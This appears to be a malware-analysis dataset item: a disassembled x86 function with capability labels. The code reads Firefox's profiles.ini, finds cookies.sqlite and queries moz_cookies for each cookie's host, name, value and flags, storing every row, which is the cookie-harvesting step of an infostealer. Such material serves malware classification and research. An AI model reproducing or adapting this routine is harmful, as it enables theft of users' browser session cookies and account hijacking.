Function at 0x40eff2
Capabilities:
Check if file exists
Gather firefox profile information
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28c
push ebx
push esi
push edi
mov ebx, ecx
lea ecx, [ebp - 0x1c]
push 0x1a
pop edx
call fcn.00413915
push str.MozillaFirefox_
lea ecx, [ebp - 0x1c]
call fcn.004043fa
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x30]
call fcn.00404656
push str.profiles.ini
lea ecx, [ebp - 0x30]
call fcn.004043fa
push str.Profile
lea ecx, [ebp - 0x2c]
call fcn.0040460a
xor edi, edi
lea ecx, [ebp - 0x2c]
push edi
call fcn.00404477
push 0x208
lea eax, [ebp - 0x288]
push edi
push eax
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0x288]
push dword [ebp - 0x30]
push 0x104
push eax
push edi
push str.Path
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 8]
call fcn.00404656
lea eax, [ebp - 0x288]
push eax
lea ecx, [ebp - 8]
call fcn.004043fa
push str.cookies.sqlite
mov ecx, eax
call fcn.00404422
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40f454
mov eax, dword [ebx + 0x40]
mov esi, edi
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], esi
cmp dword [ebp - 8], esi
je 0x40f140
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push eax
push dword [ebp - 8]
push 0x200
push ecx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, eax
mov dword [ebp - 0x10], eax
call fcn.00406f2c
mov ecx, dword [ebp - 8]
mov esi, eax
test ecx, ecx
je 0x40f100
push ecx
call edi
mov ecx, dword [ebp - 8]
jmp 0x40f102
xor eax, eax
push 0
push 0
push dword [ebp - 0x10]
push esi
push eax
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push esi
lea ecx, [ebp - 0x10]
call fcn.0040434f
push eax
lea ecx, [ebp - 0xc]
call fcn.0040415d
mov ecx, dword [ebp - 0x10]
call fcn.00406f1d
mov ecx, esi
call fcn.00406f1d
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x28]
push ecx
push esi
call eax
pop ecx
pop ecx
mov ecx, esi
mov edi, eax
call fcn.00406f1d
test edi, edi
jne 0x40f452
mov eax, dword [ebx + 0x44]
lea ecx, [ebp - 4]
push edi
push ecx
push 0xffffffffffffffff
push str.SELECT_host__path__name__value__expiry__isHttpOnly__isSecure_FROM_moz_cookies
push dword [ebp - 0x28]
call eax
xor esi, esi
add esp, 0x14
inc esi
test eax, eax
jne 0x40f43f
mov ecx, 0x61a5c
call fcn.00406fa7
mov ecx, 0x270f
test eax, eax
je 0x40f1b1
lea edx, [eax + 4]
mov dword [eax], ecx
mov eax, edx
mov dword [eax], edi
lea eax, [eax + 0x28]
mov dword [eax - 0x24], edi
mov dword [eax - 0x20], edi
mov dword [eax - 0x1c], edi
sub ecx, 1
jne 0x40f196
mov dword [0x41e6a8], edx
jmp 0x40f1b7
mov dword [0x41e6a8], edi
push dword [ebp - 4]
mov eax, dword [ebx + 0x60]
mov dword [0x41e6ac], edi
call eax
pop ecx
cmp eax, 0x64
jne 0x40f428
mov eax, dword [ebx + 0x4c]
xor esi, esi
push esi
push dword [ebp - 4]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0xc], esi
call eax
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40f207
push eax
lea ecx, [ebp - 0x3c]
call fcn.0040434f
push eax
lea ecx, [ebp - 0x18]
call fcn.0040415d
mov ecx, dword [ebp - 0x3c]
call fcn.00406f1d
mov eax, dword [ebx + 0x4c]
push 1
push dword [ebp - 4]
call eax
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40f232
push eax
lea ecx, [ebp - 0x40]
call fcn.0040434f
push eax
lea ecx, [ebp - 0x14]
call fcn.0040415d
mov ecx, dword [ebp - 0x40]
call fcn.00406f1d
mov eax, dword [ebx + 0x4c]
push 2
push dword [ebp - 4]
call eax
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40f260
push eax
lea ecx, [ebp - 0x44]
call fcn.0040434f
push eax
lea ecx, [ebp - 0x24]
call fcn.0040415d
mov ecx, dword [ebp - 0x44]
call fcn.00406f1d
mov edi, dword [ebp - 0x24]
mov eax, dword [ebx + 0x4c]
push 3
push dword [ebp - 4]
call eax
pop ecx
pop ecx
cmp byte [eax], 0
je 0x40f28e
push eax
lea ecx, [ebp - 0x48]
call fcn.0040434f
push eax
lea ecx, [ebp - 0xc]
call fcn.0040415d
mov ecx, dword [ebp - 0x48]
call fcn.00406f1d
mov esi, dword [ebp - 0xc]
mov eax, dword [ebx + 0x54]
push 4
push dword [ebp - 4]
call eax
mov ecx, dword [ebx + 0x50]
push 5
push dword [ebp - 4]
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x50], edx
call ecx
mov ecx, dword [ebx + 0x50]
push 6
push dword [ebp - 4]
mov dword [ebp - 0x54], eax
call ecx
add esp, 0x18
mov dword [ebp - 0x58], eax
test edi, edi
je 0x40f2ca
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jg 0x40f2e1
test esi, esi
je 0x40f3f2
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40f3f2
mov eax, dword [ebp - 0x18]
xorps xmm0, xmm0
movups xmmword [ebp - 0x80], xmm0
test eax, eax
je 0x40f31b
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40f31b
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x18]
call fcn.004040d5
push eax
lea ecx, [ebp - 0x80]
call fcn.004043c7
mov ecx, dword [ebp - 0x34]
call fcn.00406f1d
and dword [ebp - 0x34], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x40f34e
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40f34e
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x14]
call fcn.004040d5
push eax
lea ecx, [ebp - 0x7c]
call fcn.004043c7
mov ecx, dword [ebp - 0x38]
call fcn.00406f1d
and dword [ebp - 0x38], 0
test edi, edi
je 0x40f37e
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40f37e
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
call fcn.004040d5
push eax
lea ecx, [ebp - 0x78]
call fcn.004043c7
mov ecx, dword [ebp - 0x20]
call fcn.00406f1d
and dword [ebp - 0x20], 0
test esi, esi
je 0x40f3ae
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40f3ae
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xc]
call fcn.004040d5
push eax
lea ecx, [ebp - 0x74]
call fcn.004043c7
mov ecx, dword [ebp - 0x10]
call fcn.00406f1d
and dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x60], eax
mov eax, dword [0x41e6ac]
cmp eax, 0x270f
je 0x40f3ea
lea ecx, [ebp - 0x80]
push ecx
imul ecx, eax, 0x28
add ecx, dword [0x41e6a8]
call fcn.004027c6
inc dword [0x41e6ac]
lea ecx, [ebp - 0x80]
call fcn.004015a1
mov ecx, esi
call fcn.00406f1d
mov ecx, edi
call fcn.00406f1d
mov ecx, dword [ebp - 0x14]
call fcn.00406f1d
mov ecx, dword [ebp - 0x18]
call fcn.00406f1d
push dword [ebp - 4]
mov eax, dword [ebx + 0x60]
call eax
pop ecx
push 0
pop edi
cmp eax, 0x64
je 0x40f1cf
xor esi, esi
inc esi
test eax, eax
je 0x40f43f
push dword [ebp - 4]
call dword [ebx + 0x7c]
push dword [ebp - 0x28]
call dword [0x41e8bc]
pop ecx
pop ecx
jmp 0x40f454
push dword [ebp - 4]
call dword [ebx + 0x7c]
push dword [ebp - 0x28]
call dword [0x41e8bc]
pop ecx
pop ecx
jmp 0x40f456
xor edi, edi
mov esi, edi
mov ecx, dword [ebp - 8]
call fcn.00406f1d
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 8], edi
call fcn.00406f1d
mov ecx, dword [ebp - 0x30]
call fcn.00406f1d
mov ecx, dword [ebp - 0x1c]
call fcn.00406f1d
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret